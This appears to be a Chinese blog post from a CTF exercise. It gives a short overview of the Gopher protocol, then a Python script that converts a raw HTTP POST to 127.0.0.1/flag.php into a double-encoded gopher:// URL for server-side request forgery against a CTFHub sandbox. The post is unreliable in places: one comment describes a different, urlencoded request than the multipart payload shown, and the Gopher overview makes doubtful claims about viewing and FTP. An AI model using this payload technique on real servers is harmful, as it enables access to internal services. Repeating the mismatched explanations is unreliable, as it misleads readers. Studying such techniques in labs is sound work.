Gopher协议是一种早期的互联网协议,旨在提供文本信息的检索和查看。它是在1991年由University of Minnesota开发的,早于HTTP协议的出现。Gopher协议的设计初衷是提供一种简单、易用的方式,让用户能够从互联网上检索和查看文档、文件和资源。
以下是Gopher协议的一些关键特点和工作原理:
- 文本为主:Gopher主要以文本形式呈现信息,而不是像现代Web那样支持丰富的多媒体内容。它使用简单的目录结构和文件列表,以及文本链接来组织和浏览信息。
- 层次结构:Gopher资源被组织成一个层次结构,类似于文件系统的结构。每个Gopher服务器都有自己的目录结构,其中包含各种文本文件、目录和资源。
- Gopher客户端:用户可以通过Gopher客户端访问Gopher服务器。这些客户端通常是文本界面,用户可以通过命令行或简单的图形界面浏览和检索资源。
- 选择性下载:与HTTP不同,Gopher不支持直接在浏览器中查看资源。相反,用户需要选择性地下载他们想要查看的资源,通常使用文件传输协议(FTP)或其他协议来进行。
- 较低的带宽要求:由于Gopher主要是文本内容,因此它在较低的带宽下运行良好。这使得它在早期的互联网时代很受欢迎,因为当时的网络连接速度相对较慢。
尽管Gopher在其早期阶段曾经很流行,但随着HTTP的出现和发展,它逐渐被HTTP所取代。HTTP更灵活,支持更丰富的内容形式,例如图像、音频和视频,而且具有更好的互操作性。因此,Gopher现在已经成为互联网历史的一部分,但仍然有些人在特定的场景下使用它,或者将其视为互联网的早期形式之一。
将 http 请求数据 转换为 gopher 的脚本:
import urllib.parse # urllib.parse模块主要用于解析和构造URLs。 # urllib.parse模块是Python标准库中urllib库的一部分,它提供了一系列函数,用于处理URLs的不同部分,包括解析、构造、编码和解码等操作。具体来说: # 解析URL:使用urlparse()函数,可以将一个完整的URL字符串分解成其组成部分,如协议(scheme)、网络位置(netloc)、路径(path)、参数(parameters)、查询(query)和片段(fragment)。 # 构造URL:通过urlunparse()函数,可以将一个包含URL各组成部分的元组重新组合成一个完整的URL字符串。 # 编码和解码:urlencode()方法可以对URL中的查询参数进行编码,而parse_qs()方法可以对已编码的查询字符串进行解码,以便在程序中进一步处理。 # 总的来说,这个模块对于处理Web数据非常有用,尤其是在编写爬虫或处理HTTP请求和响应时。 #--------------------------------------------------------------------------------------------------------------------------------------------- payload =\ """ POST /flag.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------396795882130259981102522547004 Content-Length: 355 Origin: http://challenge-b366daa6863b436a.sandbox.ctfhub.com:10800 Connection: close Referer: http://challenge-b366daa6863b436a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Upgrade-Insecure-Requests: 1 -----------------------------396795882130259981102522547004 Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain I love kobe. -----------------------------396795882130259981102522547004 Content-Disposition: form-data; name="file1" 鎻愪氦鏌ヨ -----------------------------396795882130259981102522547004-- """ # 这段代码是一个HTTP POST请求的示例,用于向服务器发送一个包含特定参数的请求。下面是对代码的解释: # payload = ...:定义了一个名为payload的变量,存储了HTTP请求的内容。 # """POST /flag.php HTTP/1.1:指定了请求的方法为POST,目标URL为/flag.php,使用的HTTP协议版本为1.1。 # Host: 127.0.0.1:指定了请求的目标主机地址为本地回环地址(即本机)。 # Content-Type: application/x-www-form-urlencoded:指定了请求体的内容类型为表单数据,采用URL编码方式进行传输。 # Content-Length: 36:指定了请求体的长度为36个字节。 # key=c384d200658f258e5b5c681bf0aa29a8:这是请求体中的具体数据,表示传递了一个名为key的参数,其值为c384d200658f258e5b5c681bf0aa29a8。 # 总的来说,这段代码的目的是构造一个HTTP POST请求,将特定的参数key和对应的值发送给服务器的/flag.php接口。 #--------------------------------------------------------------------------------------------------------------------------------------------- tmp = urllib.parse.quote(payload) # URL编码是一种将特殊字符转换为%加上十六进制表示的形式的过程,用于在URL中传递参数或路径时避免歧义和错误。 # 具体来说,urllib.parse.quote()函数接受一个字符串作为输入,并将其中的特殊字符(如空格、中文等)转换为URL编码形式。这样,当将该字符串作为URL的一部分时,可以确保其被正确解析和传输。 #--------------------------------------------------------------------------------------------------------------------------------------------- new = tmp.replace('%0A','%0D%0A') #注意后面一定要有回车,回车结尾表示http请求结束 # 在new = tmp.replace('%0A','%0D%0A')这行代码中,tmp是经过urllib.parse.quote()函数编码后的字符串。编码过程中,原本的换行符(newline)被转换为了%0A。 # 在HTTP协议中,消息头和消息体之间通常由一个空行(即两个连续的换行符)分隔。这个空行在HTTP消息中非常重要,因为它标识了头部信息的结束和消息体的开始。 # 在早期的互联网标准中,换行符通常表示为%0D%0A(CRLF,回车和换行的字符组合),其中%0D代表回车(Carriage Return, \r),%0A代表换行(Line Feed, # )。然而,在现代的网络传输中,通常只使用%0A来表示换行。 # 在某些情况下,为了确保兼容性,可能需要将%0A显式地替换为%0D%0A。这样做是为了确保在处理HTTP请求或响应时,接收方能够正确解析和理解空行的含义,特别是在一些旧的或特定的系统上。 # 因此,new = tmp.replace('%0A','%0D%0A')这行代码的目的是将编码后的字符串中的%0A(换行符)替换为%0D%0A(回车和换行的组合),以确保在网络传输中保持正确的格式和兼容性。 result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码